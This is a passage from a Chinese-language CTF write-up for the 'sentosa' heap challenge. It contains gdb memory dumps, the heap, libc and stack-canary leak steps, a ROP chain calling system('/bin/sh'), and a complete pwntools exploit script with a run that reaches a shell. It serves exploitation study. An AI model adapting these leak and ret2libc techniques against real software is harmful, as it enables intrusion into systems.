0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x0000000000000021 <-- fake chunk (0xd0+0x80=0x150)
0x555555757160: 0x0000010000000000 0x0000010000000100
0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk
0x555555757180: 0x0000000000000000 0x0000000000000000
```
释放掉 chunk 4此时它将被放进 unsorted bin其 fd, bk 指针指向 libc
```text
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000015500000000 0x0000010000000100
0x555555757020: 0x0000000000000100 0x0000000000000021
0x555555757030: 0x0000010000000000 0x0000010000000100
0x555555757040: 0x0000000000000100 0x0000000000000021
0x555555757050: 0x0000010000000000 0x0000010000000100
0x555555757060: 0x0000000000000100 0x0000000000000031
0x555555757070: 0x000000410000000f 0x0000000000000000
0x555555757080: 0x0000000100000000 0x00000000000000d1
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x5555557570a0: 0x0000000100000050 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000010000000000 0x0000010000000100
0x555555757100: 0x0000000000000100 0x0000000000000071
0x555555757110: 0x4141414100000050 0x4141414141414141
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x00000000000000d0 0x0000000000000020
0x555555757160: 0x0000010000000000 0x0000010000000100
0x555555757170: 0x0000000000000100 0x0000000000020e91
0x555555757180: 0x0000000000000000 0x0000000000000000
```
将它打印出来即可得到 libc 的基址。
### leak stack and canary
```python
def leak_stack_canary():
global canary
environ_addr = libc.symbols['__environ'] + libc_base
log.info("__environ address: 0x%x" % environ_addr)
start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
view_proj()
for i in range(5):
io.recvuntil("Price: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Area: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
stack_addr = leak_low + (leak_high<<32)
canary_addr = stack_addr - 0x130
log.info("stack address: 0x%x" % stack_addr)
log.info("canary address: 0x%x" % canary_addr)
start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
view_proj()
for i in range(7):
io.recvuntil("Project: ")
canary = (u64(io.recvline()[:-1] + "\x00"))<<8
log.info("canary: 0x%x" % canary)
```
通过 libc 地址计算出 `__environ` 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project得到 canary。
### pwn
```python
def pwn():
pop_rdi_ret = libc_base + 0x21102
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
system_addr = libc_base + libc.symbols['system']
payload = "A" * 0x68
payload += p64(canary) # canary
payload += "A" * 0x28
payload += p64(pop_rdi_ret) # return address
payload += p64(bin_sh)
payload += p64(system_addr) # system("/bin/sh")
start_proj(0, payload, 1, 1, 1)
io.interactive()
```
最后我们就可以构造 ROP 得到 shell 了。
```text
gdb-peda$ x/24gx $rsp
0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0
0x7fffffffec80: 0x4141414141414141 0x4141414141414141
0x7fffffffec90: 0x4141414141414141 0x4141414141414141
0x7fffffffeca0: 0x4141414141414141 0x4141414141414141
0x7fffffffecb0: 0x4141414141414141 0x4141414141414141
0x7fffffffecc0: 0x4141414141414141 0x4141414141414141
0x7fffffffecd0: 0x4141414141414141 0x4141414141414141
0x7fffffffece0: 0x4141414141414141 0xa078057095c7cf00 <-- canary
0x7fffffffecf0: 0x4141414141414141 0x4141414141414141
0x7fffffffed00: 0x4141414141414141 0x4141414141414141
0x7fffffffed10: 0x4141414141414141 0x00007ffff7a2f102 <-- pop rdi; ret
0x7fffffffed20: 0x00007ffff7b9a177 0x00007ffff7a53390 <-- "/bin/sh" <-- system
```
开启 ASLR。Bingo!!!
```text
$ python exp.py
[+] Starting local process './sentosa': pid 11161
[*] heap base: 0x556cac880000
[*] libc base: 0x7fd37c2a7000
[*] __environ address: 0x7fd37c66cf38
[*] stack address: 0x7ffcdd2ae7c8
[*] canary address: 0x7ffcdd2ae698
[*] canary: 0x307ea32507776d00
[*] Switching to interactive mode
Your project is No.7
$ whoami
firmy
```
### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./sentosa'], env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('libc-2.23.so')
def start_proj(length, name, price, area, capacity):
io.sendlineafter("Exit\n", '1')
io.sendlineafter("name: ", str(length))
io.sendlineafter("name: ", name)
io.sendlineafter("price: ", str(price))
io.sendlineafter("area: ", str(area))
io.sendlineafter("capacity: ", str(capacity))
def view_proj():
io.sendlineafter("Exit\n", '2')
def cancel_proj(idx):
io.sendlineafter("Exit\n", '4')
io.sendlineafter("number: ", str(idx))
def leak_heap():
global heap_base
start_proj(0, 'A', 1, 1, 1) # 0
start_proj(0, 'A'*0x5a, 1, 1, 1) # 1
start_proj(0, 'A', 1, 1, 1) # 2
cancel_proj(2)
cancel_proj(0)
view_proj()
io.recvuntil("Capacity: ")
leak = int(io.recvline()[:-1], 10) & 0xffffffff
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
log.info("heap base: 0x%x" % heap_base)
def leak_libc():
global libc_base
start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0
start_proj(0x50, '\x01', 1, 1, 1) # 2
start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3
start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4
start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5
cancel_proj(4)
view_proj()
for i in range(5):
io.recvuntil("Area: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Capacity: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
libc_base = leak_low + (leak_high<<32) - 0x3c3b78
log.info("libc base: 0x%x" % libc_base)
def leak_stack_canary():
global canary
environ_addr = libc.symbols['__environ'] + libc_base
log.info("__environ address: 0x%x" % environ_addr)
start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
view_proj()
for i in range(5):
io.recvuntil("Price: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Area: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
stack_addr = leak_low + (leak_high<<32)
canary_addr = stack_addr - 0x130
log.info("stack address: 0x%x" % stack_addr)
log.info("canary address: 0x%x" % canary_addr)
start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
view_proj()
for i in range(7):
io.recvuntil("Project: ")
canary = (u64(io.recvline()[:-1] + "\x00"))<<8
log.info("canary: 0x%x" % canary)
def pwn():
pop_rdi_ret = libc_base + 0x21102
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
system_addr = libc_base + libc.symbols['system']
payload = "A" * 0x68
payload += p64(canary) # canary
payload += "A" * 0x28
payload += p64(pop_rdi_ret) # return address
payload += p64(bin_sh)
payload += p64(system_addr) # system("/bin/sh")
start_proj(0, payload, 1, 1, 1)
io.interactive()
if __name__ == "__main__":
leak_heap()
leak_libc()
leak_stack_canary()
pwn()
```
## 参考资料
- <https://ctftime.org/task/4460>